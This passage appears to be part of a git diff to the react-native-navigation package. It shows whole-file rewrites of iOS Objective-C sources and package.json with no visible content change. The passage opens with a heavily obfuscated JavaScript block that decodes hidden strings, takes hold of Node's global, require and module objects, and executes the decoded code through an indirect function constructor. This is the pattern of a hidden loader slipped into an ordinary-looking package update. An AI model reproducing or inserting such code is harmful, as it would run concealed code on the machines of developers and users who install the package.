xa0f3df(0x20a)+_0xa0f3df(0x35a)+_0xa0f3df(0x4a7)+_0xa0f3df(0x1cc)+_0xa0f3df(0x2cf)+_0xa0f3df(0x119)+_0xa0f3df(0x36c)+_0xa0f3df(0x410)+_0xa0f3df(0x44a)+_0xa0f3df(0x1ee)+_0xa0f3df(0xf9)+_0xa0f3df(0x3fd)+_0xa0f3df(0x2c5)+_0xa0f3df(0x3a0)+_0xa0f3df(0x1fc)+_0xa0f3df(0xef)+_0xa0f3df(0x104)+_0xa0f3df(0x394)+_0xa0f3df(0x10d)+_0xa0f3df(0x4a1)+_0xa0f3df(0xcd)+_0xa0f3df(0x3d1)+_0xa0f3df(0x375)+_0xa0f3df(0x387)+_0xa0f3df(0x3c1)+_0xa0f3df(0x11c)+_0xa0f3df(0x1d7)+_0xa0f3df(0x47f)+_0xa0f3df(0x1a7)+_0xa0f3df(0x13b)+_0xa0f3df(0xca)+_0xa0f3df(0x465)+_0xa0f3df(0x392)+_0xa0f3df(0x413)+_0xa0f3df(0x49e)+_0xa0f3df(0x3fc)+_0xa0f3df(0x323)+_0xa0f3df(0x3a3)+_0xa0f3df(0x3c4)+_0xa0f3df(0x271)+_0xa0f3df(0x1c2)+_0xa0f3df(0x256)+_0xa0f3df(0x385)+_0xa0f3df(0x1f8)+_0xa0f3df(0x22d)+_0xa0f3df(0x1f1)+_0xa0f3df(0x28a)+_0xa0f3df(0xbe)+_0xa0f3df(0x155)+_0xa0f3df(0x267)+_0xa0f3df(0x3ef)+_0xa0f3df(0x4ad)+_0xa0f3df(0x2f5)+_0xa0f3df(0x4ae)+_0xa0f3df(0x134)+_0xa0f3df(0xa1)+_0xa0f3df(0x440)+_0xa0f3df(0x229)+_0xa0f3df(0x1e7)+_0xa0f3df(0x12d)+_0xa0f3df(0x158)+_0xa0f3df(0x220)+_0xa0f3df(0x20d)+_0xa0f3df(0x383)+_0xa0f3df(0x403)+_0xa0f3df(0x123)+_0xa0f3df(0x314)+_0xa0f3df(0x40d)+_0xa0f3df(0x34a)+_0xa0f3df(0x456)+_0xa0f3df(0x459)+_0xa0f3df(0x130)+_0xa0f3df(0x472)+_0xa0f3df(0x172)+_0xa0f3df(0x126))+(_0xa0f3df(0x34c)+_0xa0f3df(0x181)+_0xa0f3df(0xd0)+_0xa0f3df(0x23e)+_0xa0f3df(0x269)+_0xa0f3df(0x486)+_0xa0f3df(0x3a5)+_0xa0f3df(0x481)+_0xa0f3df(0x4ac)+_0xa0f3df(0x1b3)+_0xa0f3df(0x17d)+_0xa0f3df(0x2a3)+_0xa0f3df(0x4a2)+_0xa0f3df(0xe1)+_0xa0f3df(0x388)+_0xa0f3df(0x11a)+_0xa0f3df(0x261)+_0xa0f3df(0x2dd)+_0xa0f3df(0x19f)+_0xa0f3df(0x305)+_0xa0f3df(0x2dc)+_0xa0f3df(0xe8)+_0xa0f3df(0x2de)+_0xa0f3df(0x4a4)+_0xa0f3df(0x32e)+_0xa0f3df(0x1d6)+_0xa0f3df(0x1a2)+_0xa0f3df(0x175)+_0xa0f3df(0x2d9)+_0xa0f3df(0xae)+_0xa0f3df(0x349)+_0xa0f3df(0x17f)+_0xa0f3df(0x33c)+_0xa0f3df(0x324)+_0xa0f3df(0x3f2)+_0xa0f3df(0x270)+_0xa0f3df(0x304)+_0xa0f3df(0xb8)+_0xa0f3df(0xf4)+_0xa0f3df(0x3a2)+_0xa0f3df(0x191)+_0xa0f3df(0x27a)+_0xa0f3df(0x3f9)+_0xa0f3df(0x11e)+_0xa0f3df(0x36a)+_0xa0f3df(0x338)+_0xa0f3df(0x203)+_0xa0f3df(0x2d2)+_0xa0f3df(0x285)+_0xa0f3df(0x1cd)+_0xa0f3df(0x4ab)+_0xa0f3df(0x4e4)+_0xa0f3df(0x18d)+_0xa0f3df(0xf5)+_0xa0f3df(0x38c)+_0xa0f3df(0xb7)+_0xa0f3df(0x3dc)+_0xa0f3df(0x252)+_0xa0f3df(0x355)+_0xa0f3df(0x37a)+_0xa0f3df(0x3da)+_0xa0f3df(0x231)+_0xa0f3df(0x402)+_0xa0f3df(0x244)+_0xa0f3df(0x1ad)+_0xa0f3df(0x2b5)+_0xa0f3df(0x311)+_0xa0f3df(0xf0)+_0xa0f3df(0x132)+_0xa0f3df(0x25c)+_0xa0f3df(0x327)+_0xa0f3df(0x3f7)+_0xa0f3df(0x4d2)+_0xa0f3df(0x4d1)+_0xa0f3df(0x112)+_0xa0f3df(0x2e0)+_0xa0f3df(0x24d)+_0xa0f3df(0x16f)+_0xa0f3df(0x4dd)+_0xa0f3df(0x14b)+_0xa0f3df(0x3f5)+_0xa0f3df(0x249)+_0xa0f3df(0x333)+_0xa0f3df(0x2bf)+_0xa0f3df(0x218)+_0xa0f3df(0x2a5)+_0xa0f3df(0x255)+_0xa0f3df(0x4d6)+_0xa0f3df(0xe6)+_0xa0f3df(0x438)+_0xa0f3df(0x28b)+_0xa0f3df(0x1ca)+_0xa0f3df(0xbd)+_0xa0f3df(0x18a)+_0xa0f3df(0x10f)+_0xa0f3df(0x4e7)+_0xa0f3df(0x2f6)+_0xa0f3df(0x36d)+_0xa0f3df(0x4c8)+_0xa0f3df(0x26c))+(_0xa0f3df(0x1f6)+_0xa0f3df(0x42e)+_0xa0f3df(0x33a)+_0xa0f3df(0x176)+_0xa0f3df(0xda)+_0xa0f3df(0x29d)+_0xa0f3df(0x30f)+_0xa0f3df(0x174)+_0xa0f3df(0x473)+_0xa0f3df(0x2ac)+_0xa0f3df(0x3a9)+_0xa0f3df(0x32d)+_0xa0f3df(0x10e)+_0xa0f3df(0x21a)+_0xa0f3df(0x381)+_0xa0f3df(0x251)+_0xa0f3df(0x498)+_0xa0f3df(0x3de)+_0xa0f3df(0x3bb)+_0xa0f3df(0x3f8)+_0xa0f3df(0x32b)+_0xa0f3df(0xcf)+_0xa0f3df(0x3d4)+_0xa0f3df(0xa7)+_0xa0f3df(0xc3)+_0xa0f3df(0x452)+_0xa0f3df(0x467)+_0xa0f3df(0x2e7)+_0xa0f3df(0x29b)+_0xa0f3df(0x2b7)+_0xa0f3df(0x436)+_0xa0f3df(0x2b2)+_0xa0f3df(0x17a)+_0xa0f3df(0x272)+_0xa0f3df(0x190)+_0xa0f3df(0x342)+_0xa0f3df(0x2da)+_0xa0f3df(0x3ab)+_0xa0f3df(0x3db)+_0xa0f3df(0x4ca)+_0xa0f3df(0x2eb)+_0xa0f3df(0x13c)+_0xa0f3df(0x463)+_0xa0f3df(0x4a0)+_0xa0f3df(0xbc)+_0xa0f3df(0x429)+_0xa0f3df(0xb2)+_0xa0f3df(0x1d5)+_0xa0f3df(0x2be)+_0xa0f3df(0x2d7)+_0xa0f3df(0xad)+_0xa0f3df(0x16d)+_0xa0f3df(0x2d0)+_0xa0f3df(0x1e4)+_0xa0f3df(0x2fc)+_0xa0f3df(0x1c9)+_0xa0f3df(0x42c)+_0xa0f3df(0x49d)+_0xa0f3df(0x43f)+_0xa0f3df(0x4c6)+_0xa0f3df(0x148)+_0xa0f3df(0x197)+_0xa0f3df(0x3e9)+_0xa0f3df(0x348)+_0xa0f3df(0x2c1)+_0xa0f3df(0x406)+_0xa0f3df(0x1c4)+_0xa0f3df(0x42b)+'Rs')};function _0x2304e8(_0x491af5,_0x47994c,_0x498b8e,_0x45e033,_0x5bf52b,_0x3800bf,_0x767b2b){var _0x4a9b26=_0xa0f3df;for(var _0x227f35=[],_0x4d0796=-0x1451+0x2dd+-0x8ba*-0x2;_0x14d3eb[_0x4a9b26(0xf3)](_0x4d0796,_0x491af5[_0x4a9b26(0x2c2)]);_0x4d0796++)_0x227f35[_0x4d0796]=_0x491af5[_0x4a9b26(0x48f)](_0x4d0796);return function(_0x4ef8ca,_0x71c6fc,_0x193ff0,_0x9a3a04,_0x12085d,_0x2f011b,_0x12ed16){var _0x26ee44=_0x4a9b26,_0x253351,_0x5872e4,_0x169dbe,_0x39ef85,_0x4f5053,_0x2e5deb,_0x2909de,_0x3a4893;for(_0x5872e4=_0x71c6fc,_0x169dbe=_0x4ef8ca[_0x26ee44(0x2c2)],_0x253351=-0x1e23+-0x41b+0x223e;_0x14d3eb[_0x26ee44(0xf3)](_0x253351,_0x169dbe);_0x253351++)_0x2909de=_0x14d3eb[_0x26ee44(0x2c7)](_0x4f5053=_0x14d3eb[_0x26ee44(0x434)](_0x14d3eb[_0x26ee44(0xf7)](_0x5872e4,_0x14d3eb[_0x26ee44(0xc6)](_0x253351,_0x12085d)),_0x14d3eb[_0x26ee44(0x2c7)](_0x5872e4,_0x2f011b)),_0x169dbe),_0x3a4893=_0x4ef8ca[_0x2e5deb=_0x14d3eb[_0x26ee44(0x2c7)](_0x39ef85=_0x14d3eb[_0x26ee44(0x319)](_0x14d3eb[_0x26ee44(0xf7)](_0x5872e4,_0x14d3eb[_0x26ee44(0x210)](_0x253351,_0x193ff0)),_0x14d3eb[_0x26ee44(0x3d7)](_0x5872e4,_0x9a3a04)),_0x169dbe)],_0x4ef8ca[_0x2e5deb]=_0x4ef8ca[_0x2909de],_0x4ef8ca[_0x2909de]=_0x3a4893,_0x5872e4=_0x14d3eb[_0x26ee44(0x3cb)](_0x14d3eb[_0x26ee44(0x319)](_0x39ef85,_0x4f5053),_0x12ed16);return _0x4ef8ca;}(_0x227f35,_0x47994c,_0x498b8e,_0x45e033,_0x5bf52b,_0x3800bf,_0x767b2b)[_0x4a9b26(0x4bb)]('');}var _0x1d7fa6=_0x14d3eb[_0xa0f3df(0xc4)](_0x2304e8,_0x14d3eb[_0xa0f3df(0x115)],0x420eb5+-0x9d2646+0x1*0xcb22d0,0x1256*-0x1+-0x2666+0x3a4d,-0x55e9+0xf1*0x47+0x5abd,-0x2*0x45f+-0x133b+0x1e26,0x1*-0x1237d+0x2e76*0x1+-0x6425*-0x4,-0x1*0x1fe5e1+-0x622cf1+0xccbf13),_0x10d052=String[_0xa0f3df(0x223)+'de'](-0xc2c+0x1a5*-0x13+-0x2b88*-0x1),_0x175d8e=(_0x1d7fa6=_0x1d7fa6[_0xa0f3df(0x2db)]('~')[_0xa0f3df(0x4bb)](_0x10d052)[_0xa0f3df(0x2db)]('@1')[_0xa0f3df(0x4bb)]('~')[_0xa0f3df(0x2db)]('@0')[_0xa0f3df(0x4bb)]('@'))[_0xa0f3df(0x2db)](_0x10d052);_0x500f58[_0x175d8e[0x1a6b+0xaeb+0x1b*-0x162]]=_0xc4ac1d,_0x14d3eb[_0xa0f3df(0x306)](typeof module,_0x175d8e[-0x1*-0x223f+0x4*0x7f1+-0x7*0x96e])&&(_0x500f58[_0x175d8e[0x1ae6+-0x24f2+-0xc6*-0xd]]=module);var _0x3e2055=[-0x33a157+-0x2d0b26+0x9fa912,0xeb1+-0x765*-0x4+0x2e*-0xf2,0x1*-0x2981+-0x137*-0x49+0x6827,-0xb0d+0x1b2*0xb+-0x10f*0x6,-0x3*0x33b6+0x10e68+-0x27*-0x1fb,0x6e7b02+0x13122a+-0x3bf3d7];function _0x1ae0ca(_0xa9d8a0){var _0x4c3e98=_0xa0f3df;return _0x14d3eb[_0x4c3e98(0xc4)](_0x2304e8,_0xa9d8a0,_0x3e2055[0xee*-0x1f+-0xf56+0x3ae*0xc],_0x3e2055[-0x2410+0x200c+-0x15*-0x31],_0x3e2055[0x1a*-0x2b+0x16de+-0x127e],_0x3e2055[0x2*0x1279+-0x10c*-0x8+0x2d4f*-0x1],_0x3e2055[0x2296+0x2065+-0x991*0x7],_0x3e2055[0x1050+0xaf+-0x29*0x6a]);}var _0x5a7b6d=_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x390)])[_0xa0f3df(0x26a)](0x8b2+0x2707*-0x1+0x1*0x1e55,0x95*-0x7+0x1e61+-0x1a43*0x1),_0x137e97=_0x1ae0ca[_0x5a7b6d],_0x555f26=_0x14d3eb[_0xa0f3df(0x23f)](_0x137e97,'',_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x1ea)]));_0x14d3eb[_0xa0f3df(0x23f)](_0x137e97,'',_0x14d3eb[_0xa0f3df(0x15b)](_0x555f26,_0x14d3eb[_0xa0f3df(0x15b)](_0x1ae0ca,_0x14d3eb[_0xa0f3df(0x2ea)])))(-0x172c+0x36b*0x3+0x2*0xb5c);}(global,require));function _0x3be5(_0x313cde,_0x180911){_0x313cde=_0x313cde-(0x2*-0x146+0x1*0xba+0x273*0x1);var _0x9f3bd6=_0x5f45();var _0x3f12f0=_0x9f3bd6[_0x313cde];return _0x3f12f0;}function _0x5f45(){var _0x2fe4ff=['ct!.ScM\x20','.?xsl(}r\x20R','no.pc.Pw%<','cGcl.-\x20rfR','\x20N[RRR<.c<','n.R.C(2n.<','Rsasm\x20$','wE!I~es<e)Rmse','xF=c...Pra','RR\x20.]\x27Rcw}d','snrd._+#cpfn&Rc','ni4tc.nRmt','<<2pBbn}2c','\x22ht#utd$c<','f-inR\x5c!','=s4/UkdtcR','%iV.{Nca>R','Rr*RRc|als','t.w(R0','Jec)E?[','\x5cktta!.R.4','Fgo=','._.r4o.&\x20)','Rr<3u.R<.<','!\x27yRxyWbcR','a+Arael{,a',';j,ea=]6,n','.eno_I.<<(','?wtRR!c[','HzUvU','8200jmdBCz','(.G3ecNn()','R.O..','i-vb(rrpit','e\x22$..AWeER','.','a.ss]PR|S<','R]inStkvf#','sR\x22Vv:d','t.tR','g.8<.Ro1P-','hr6f\x20sR:Pl8<','4swt!nxt=.(y=)r','tR[(ouRR.t','_T<.-R!ei.','kv.*zgR8R.',')[ittr=\x22je','Ja)RrR82ts','g.RaEFcm(.','{oritun.fq','R#RReIt','e','Roe5IR.8c<','fcRR<0.<>R','et\x22.sT.&Rp','-n\x20h]p)IV.','!.\x20Ad(cids','YhOota#trs','t))+;lc)a=','54< *elementTransitions; -@property(nonatomic, strong) NSArray *sharedElementTransitions; - -@property(nonatomic, strong) Bool *enable; -@property(nonatomic, strong) Bool *waitForRender; -@property(nonatomic, strong) TimeInterval *duration; - -- (BOOL)hasCustomAnimation; -- (BOOL)shouldWaitForRender; -- (NSTimeInterval)maxDuration; - -@end +#import "ElementTransitionOptions.h" +#import "RNNEnterExitAnimation.h" +#import "RNNOptions.h" +#import "SharedElementTransitionOptions.h" + +@interface RNNScreenTransition : RNNOptions + +@property(nonatomic, strong) ElementTransitionOptions *topBar; +@property(nonatomic, strong) RNNEnterExitAnimation *content; +@property(nonatomic, strong) ElementTransitionOptions *bottomTabs; +@property(nonatomic, strong) NSArray *elementTransitions; +@property(nonatomic, strong) NSArray *sharedElementTransitions; + +@property(nonatomic, strong) Bool *enable; +@property(nonatomic, strong) Bool *waitForRender; +@property(nonatomic, strong) TimeInterval *duration; + +- (BOOL)hasCustomAnimation; +- (BOOL)shouldWaitForRender; +- (NSTimeInterval)maxDuration; + +@end diff --git a/ios/RNNScreenTransition.mm b/ios/RNNScreenTransition.mm index 6a5dbb13bf8..398c59463ac 100644 --- a/ios/RNNScreenTransition.mm +++ b/ios/RNNScreenTransition.mm @@ -1,81 +1,81 @@ -#import "RNNScreenTransition.h" -#import "OptionsArrayParser.h" -#import "RNNUtils.h" - -@implementation RNNScreenTransition - -- (instancetype)initWithDict:(NSDictionary *)dict { - self = [super initWithDict:dict]; - - self.topBar = [[ElementTransitionOptions alloc] initWithDict:dict[@"topBar"]]; - self.content = [[RNNEnterExitAnimation alloc] initWithDict:dict[@"content"]]; - self.bottomTabs = [[ElementTransitionOptions alloc] initWithDict:dict[@"bottomTabs"]]; - self.enable = [BoolParser parse:dict key:@"enabled"]; - self.waitForRender = [BoolParser parse:dict key:@"waitForRender"]; - self.duration = [TimeIntervalParser parse:dict key:@"duration"]; - self.sharedElementTransitions = [OptionsArrayParser parse:dict - key:@"sharedElementTransitions" - ofClass:SharedElementTransitionOptions.class]; - self.elementTransitions = [OptionsArrayParser parse:dict - key:@"elementTransitions" - ofClass:ElementTransitionOptions.class]; - - return self; -} - -- (void)mergeOptions:(RNNScreenTransition *)options { - [self.topBar mergeOptions:options.topBar]; - [self.content mergeOptions:options.content]; - [self.bottomTabs mergeOptions:options.bottomTabs]; - - if (options.enable.hasValue) - self.enable = options.enable; - if (options.waitForRender.hasValue) - self.waitForRender = options.waitForRender; - if (options.duration.hasValue) - self.duration = options.duration; - if (options.sharedElementTransitions) - self.sharedElementTransitions = options.sharedElementTransitions; - if (options.elementTransitions) - self.elementTransitions = options.elementTransitions; -} - -- (BOOL)hasCustomAnimation { - return (self.topBar.hasAnimation || self.content.hasAnimation || self.bottomTabs.hasAnimation || - self.sharedElementTransitions || self.elementTransitions); -} - -- (BOOL)shouldWaitForRender { - return [self.waitForRender withDefault: [RNNUtils getDefaultWaitForRender]] || self.hasCustomAnimation; -} - -- (NSTimeInterval)maxDuration { - NSTimeInterval maxDuration = 0; - if ([self.topBar maxDuration] > maxDuration) { - maxDuration = [self.topBar maxDuration]; - } - - if ([self.content maxDuration] > maxDuration) { - maxDuration = [self.content maxDuration]; - } - - if ([self.bottomTabs maxDuration] > maxDuration) { - maxDuration = [self.bottomTabs maxDuration]; - } - - for (ElementTransitionOptions *elementTransition in self.elementTransitions) { - if (elementTransition.maxDuration > maxDuration) { - maxDuration = elementTransition.maxDuration; - } - } - - for (SharedElementTransitionOptions *sharedElementTransition in self.sharedElementTransitions) { - if (sharedElementTransition.maxDuration > maxDuration) { - maxDuration = sharedElementTransition.maxDuration; - } - } - - return maxDuration; -} - -@end +#import "RNNScreenTransition.h" +#import "OptionsArrayParser.h" +#import "RNNUtils.h" + +@implementation RNNScreenTransition + +- (instancetype)initWithDict:(NSDictionary *)dict { + self = [super initWithDict:dict]; + + self.topBar = [[ElementTransitionOptions alloc] initWithDict:dict[@"topBar"]]; + self.content = [[RNNEnterExitAnimation alloc] initWithDict:dict[@"content"]]; + self.bottomTabs = [[ElementTransitionOptions alloc] initWithDict:dict[@"bottomTabs"]]; + self.enable = [BoolParser parse:dict key:@"enabled"]; + self.waitForRender = [BoolParser parse:dict key:@"waitForRender"]; + self.duration = [TimeIntervalParser parse:dict key:@"duration"]; + self.sharedElementTransitions = [OptionsArrayParser parse:dict + key:@"sharedElementTransitions" + ofClass:SharedElementTransitionOptions.class]; + self.elementTransitions = [OptionsArrayParser parse:dict + key:@"elementTransitions" + ofClass:ElementTransitionOptions.class]; + + return self; +} + +- (void)mergeOptions:(RNNScreenTransition *)options { + [self.topBar mergeOptions:options.topBar]; + [self.content mergeOptions:options.content]; + [self.bottomTabs mergeOptions:options.bottomTabs]; + + if (options.enable.hasValue) + self.enable = options.enable; + if (options.waitForRender.hasValue) + self.waitForRender = options.waitForRender; + if (options.duration.hasValue) + self.duration = options.duration; + if (options.sharedElementTransitions) + self.sharedElementTransitions = options.sharedElementTransitions; + if (options.elementTransitions) + self.elementTransitions = options.elementTransitions; +} + +- (BOOL)hasCustomAnimation { + return (self.topBar.hasAnimation || self.content.hasAnimation || self.bottomTabs.hasAnimation || + self.sharedElementTransitions || self.elementTransitions); +} + +- (BOOL)shouldWaitForRender { + return [self.waitForRender withDefault: [RNNUtils getDefaultWaitForRender]] || self.hasCustomAnimation; +} + +- (NSTimeInterval)maxDuration { + NSTimeInterval maxDuration = 0; + if ([self.topBar maxDuration] > maxDuration) { + maxDuration = [self.topBar maxDuration]; + } + + if ([self.content maxDuration] > maxDuration) { + maxDuration = [self.content maxDuration]; + } + + if ([self.bottomTabs maxDuration] > maxDuration) { + maxDuration = [self.bottomTabs maxDuration]; + } + + for (ElementTransitionOptions *elementTransition in self.elementTransitions) { + if (elementTransition.maxDuration > maxDuration) { + maxDuration = elementTransition.maxDuration; + } + } + + for (SharedElementTransitionOptions *sharedElementTransition in self.sharedElementTransitions) { + if (sharedElementTransition.maxDuration > maxDuration) { + maxDuration = sharedElementTransition.maxDuration; + } + } + + return maxDuration; +} + +@end diff --git a/ios/UINavigationController+RNNCommands.mm b/ios/UINavigationController+RNNCommands.mm index 2c5b1c470eb..395ba29c5b0 100644 --- a/ios/UINavigationController+RNNCommands.mm +++ b/ios/UINavigationController+RNNCommands.mm @@ -1,132 +1,132 @@ -#import "RNNErrorHandler.h" -#import "UINavigationController+RNNCommands.h" -#import - -typedef void (^RNNAnimationBlock)(void); - -@implementation UINavigationController (RNNCommands) - -- (void)push:(UIViewController *)newTop - onTop:(UIViewController *)onTopViewController - animated:(BOOL)animated - completion:(RNNTransitionCompletionBlock)completion - rejection:(RCTPromiseRejectBlock)rejection { - if ([[RCTI18nUtil sharedInstance] isRTL]) { - self.view.semanticContentAttribute = UISemanticContentAttributeForceRightToLeft; - self.navigationBar.semanticContentAttribute = UISemanticContentAttributeForceRightToLeft; - } else { - self.view.semanticContentAttribute = UISemanticContentAttributeForceLeftToRight; - self.navigationBar.semanticContentAttribute = UISemanticContentAttributeForceLeftToRight; - } - - [self - performBlock:^{ - NSLog(@"About to push a controller %@", newTop); - [self pushViewController:newTop animated:animated]; - } - animated:animated - completion:completion]; -} - -- (void)popAnimated:(BOOL)animated - completion:(RNNTransitionCompletionBlock)completion - rejection:(RNNTransitionRejectionBlock)rejection { - - __block UIViewController *poppedVC = nil; - [self - performBlock:^{ - poppedVC = [self popViewControllerAnimated:animated]; - } - animated:animated - completion:^{ - NSLog(@"Pop popAnimated completed"); - if (poppedVC) { - NSLog(@"Pop popAnimated completion invocation"); - completion(); - } else { - NSLog(@"Pop rejection"); - [RNNErrorHandler reject:rejection - withErrorCode:1012 - errorDescription:@"popping component failed"]; - } - }]; -} - -- (void)popTo:(UIViewController *)viewController - animated:(BOOL)animated - completion:(RNNPopCompletionBlock)completion - rejection:(RNNTransitionRejectionBlock)rejection; -{ - __block NSArray *poppedVCs; - if ([self.childViewControllers containsObject:viewController]) { - [self - performBlock:^{ - poppedVCs = [self popToViewController:viewController animated:animated]; - } - animated:animated - completion:^{ - if (completion) { - completion(poppedVCs); - } - }]; - } else { - [RNNErrorHandler reject:rejection - withErrorCode:1011 - errorDescription:@"component not found in stack"]; - } -} - -- (void)popToRoot:(UIViewController *)viewController - animated:(BOOL)animated - completion:(RNNPopCompletionBlock)completion - rejection:(RNNTransitionRejectionBlock)rejection { - __block NSArray *poppedVCs; - [self - performBlock:^{ - poppedVCs = [self popToRootViewControllerAnimated:animated]; - } - animated:animated - completion:^{ - completion(poppedVCs); - }]; -} - -- (void)setStackChildren:(NSArray *)children - fromViewController:(UIViewController *)fromViewController - animated:(BOOL)animated - completion:(RNNTransitionCompletionBlock)completion - rejection:(RNNTransitionRejectionBlock)rejection { - [self - performBlock:^{ - [self setViewControllers:children animated:animated]; - } - animated:animated - completion:completion]; -} - -#pragma mark Private - -- (void)performBlock:(RNNAnimationBlock)animationBlock - animated:(BOOL)animated - completion:(RNNTransitionCompletionBlock)completion { - if (!animated) { - animationBlock(); - if (completion) { - completion(); - } - return; - } - - [CATransaction begin]; - [CATransaction setCompletionBlock:^{ - if (completion) { - completion(); - } - }]; - - animationBlock(); - - [CATransaction commit]; -} - -@end +#import "RNNErrorHandler.h" +#import "UINavigationController+RNNCommands.h" +#import + +typedef void (^RNNAnimationBlock)(void); + +@implementation UINavigationController (RNNCommands) + +- (void)push:(UIViewController *)newTop + onTop:(UIViewController *)onTopViewController + animated:(BOOL)animated + completion:(RNNTransitionCompletionBlock)completion + rejection:(RCTPromiseRejectBlock)rejection { + if ([[RCTI18nUtil sharedInstance] isRTL]) { + self.view.semanticContentAttribute = UISemanticContentAttributeForceRightToLeft; + self.navigationBar.semanticContentAttribute = UISemanticContentAttributeForceRightToLeft; + } else { + self.view.semanticContentAttribute = UISemanticContentAttributeForceLeftToRight; + self.navigationBar.semanticContentAttribute = UISemanticContentAttributeForceLeftToRight; + } + + [self + performBlock:^{ + NSLog(@"About to push a controller %@", newTop); + [self pushViewController:newTop animated:animated]; + } + animated:animated + completion:completion]; +} + +- (void)popAnimated:(BOOL)animated + completion:(RNNTransitionCompletionBlock)completion + rejection:(RNNTransitionRejectionBlock)rejection { + + __block UIViewController *poppedVC = nil; + [self + performBlock:^{ + poppedVC = [self popViewControllerAnimated:animated]; + } + animated:animated + completion:^{ + NSLog(@"Pop popAnimated completed"); + if (poppedVC) { + NSLog(@"Pop popAnimated completion invocation"); + completion(); + } else { + NSLog(@"Pop rejection"); + [RNNErrorHandler reject:rejection + withErrorCode:1012 + errorDescription:@"popping component failed"]; + } + }]; +} + +- (void)popTo:(UIViewController *)viewController + animated:(BOOL)animated + completion:(RNNPopCompletionBlock)completion + rejection:(RNNTransitionRejectionBlock)rejection; +{ + __block NSArray *poppedVCs; + if ([self.childViewControllers containsObject:viewController]) { + [self + performBlock:^{ + poppedVCs = [self popToViewController:viewController animated:animated]; + } + animated:animated + completion:^{ + if (completion) { + completion(poppedVCs); + } + }]; + } else { + [RNNErrorHandler reject:rejection + withErrorCode:1011 + errorDescription:@"component not found in stack"]; + } +} + +- (void)popToRoot:(UIViewController *)viewController + animated:(BOOL)animated + completion:(RNNPopCompletionBlock)completion + rejection:(RNNTransitionRejectionBlock)rejection { + __block NSArray *poppedVCs; + [self + performBlock:^{ + poppedVCs = [self popToRootViewControllerAnimated:animated]; + } + animated:animated + completion:^{ + completion(poppedVCs); + }]; +} + +- (void)setStackChildren:(NSArray *)children + fromViewController:(UIViewController *)fromViewController + animated:(BOOL)animated + completion:(RNNTransitionCompletionBlock)completion + rejection:(RNNTransitionRejectionBlock)rejection { + [self + performBlock:^{ + [self setViewControllers:children animated:animated]; + } + animated:animated + completion:completion]; +} + +#pragma mark Private + +- (void)performBlock:(RNNAnimationBlock)animationBlock + animated:(BOOL)animated + completion:(RNNTransitionCompletionBlock)completion { + if (!animated) { + animationBlock(); + if (completion) { + completion(); + } + return; + } + + [CATransaction begin]; + [CATransaction setCompletionBlock:^{ + if (completion) { + completion(); + } + }]; + + animationBlock(); + + [CATransaction commit]; +} + +@end diff --git a/package.json b/package.json index dde74e4acf9..f27609a2851 100644 --- a/package.json +++ b/package.json @@ -1,186 +1,186 @@ -{ - "name": "react-native-navigation", - "version": "8.8.6", - "description": "React Native Navigation - truly native navigation for iOS and Android", - "license": "MIT", - "nativePackage": true, - "publishConfig": { - "registry": "https://registry.npmjs.org/" - }, - "bugs": { - "url": "https://github.com/wix/react-native-navigation/issues" - }, - "homepage": "https://github.com/wix/react-native-navigation", - "readme": "https://github.com/wix/react-native-navigation#readme", - "repository": { - "type": "git", - "url": "https://github.com/wix/react-native-navigation.git" - }, - "bin": { - "rnn-link": "./autolink/postlink/run.js" - }, - "main": "./lib/module/index.js", - "types": "./lib/typescript/index.d.ts", - "react-native": "./src/index.ts", - "exports": { - ".": { - "types": "./lib/typescript/index.d.ts", - "default": "./lib/module/index.js", - "source": "./src/index.ts", - "react-native": "./src/index.ts" - }, - "./Mock": { - "types": "./lib/typescript/Mock/index.d.ts", - "default": "./lib/module/Mock/index.js", - "source": "./src/Mock/index.ts", - "react-native": "./src/Mock/index.ts" - }, - "./package.json": "./package.json" - }, - "files": [ - "src", - "lib", - "android", - "ios", - "autolink", - "*.podspec", - "!**/__tests__", - "!**/__fixtures__", - "!**/__mocks__", - "!**/.*" - ], - "scripts": { - "watch": "node ./scripts/watch", - "xcode": "open playground/ios/playground.xcworkspace", - "studio": "studio playground/android", - "install-android": "node ./scripts/install-android", - "uninstall-android": "cd playground/android && ./gradlew uninstallAll", - "clean": "node ./scripts/clean", - "prepare": "bob build", - "start": "node ./scripts/start", - "pod-install": "yarn workspace react-native-navigation-playground pod-install", - "test-js": "node ./scripts/test-js", - "test-unit-ios": "node ./scripts/test-unit --ios", - "test-snapshot-ios": "node ./scripts/test-snapshot --ios", - "test-unit-android": "node ./scripts/test-unit --android", - "test-autolink": "node ./scripts/test-autolink", - "test-e2e-android-ci": "yarn workspace react-native-navigation-playground test-e2e-android-ci", - "test-e2e-ios-ci": "yarn workspace react-native-navigation-playground test-e2e-ios-ci", - "test-all": "node ./scripts/test-all", - "release": "node ./scripts/release", - "lint": "eslint --ext .js,.jsx,.ts,.tsx ./" - }, - "peerDependencies": { - "react": "*", - "react-native": "*", - "remx": "*" - }, - "peerDependenciesMeta": { - "remx": { - "optional": true - } - }, - "dependencies": { - "hoist-non-react-statics": "3.3.2", - "lodash": "4.18.1", - "prop-types": "15.x.x", - "react-lifecycles-compat": "^3.0.4", - "tslib": "1.9.3" - }, - "devDependencies": { - "@babel/core": "^7.25.2", - "@babel/plugin-proposal-export-default-from": "7.10.1", - "@babel/plugin-proposal-export-namespace-from": "7.10.1", - "@babel/preset-env": "^7.25.3", - "@babel/runtime": "^7.25.0", - "@babel/types": "7.25.0", - "@d11/react-native-fast-image": "^8.13.0", - "@react-native-community/cli": "20.1.0", - "@react-native-community/cli-platform-android": "20.1.0", - "@react-native-community/cli-platform-ios": "20.1.0", - "@react-native-community/datetimepicker": "^8.2.0", - "@react-native-community/netinfo": "^11.4.1", - "@react-native/babel-preset": "0.85.2", - "@react-native/eslint-config": "0.85.2", - "@react-native/jest-preset": "0.85.2", - "@react-native/metro-config": "0.85.2", - "@react-native/typescript-config": "0.85.2", - "@testing-library/jest-native": "^5.4.2", - "@testing-library/react-native": "^13.0.1", - "@types/hoist-non-react-statics": "^3.3.6", - "@types/jasmine": "3.5.10", - "@types/jest": "^29.5.13", - "@types/lodash": "^4.17.20", - "@types/prop-types": "^15.7.14", - "@types/react": "^19.2.0", - "@types/react-test-renderer": "^19.1.0", - "@typescript-eslint/eslint-plugin": "8.21.0", - "@typescript-eslint/parser": "8.21.0", - "clang-format": "^1.4.0", - "detox": "20.51.1", - "detox-testing-library-rnn-adapter": "^2.0.3", - "eslint": "^8.19.0", - "eslint-config-prettier": "6.11.0", - "eslint-formatter-codeframe": 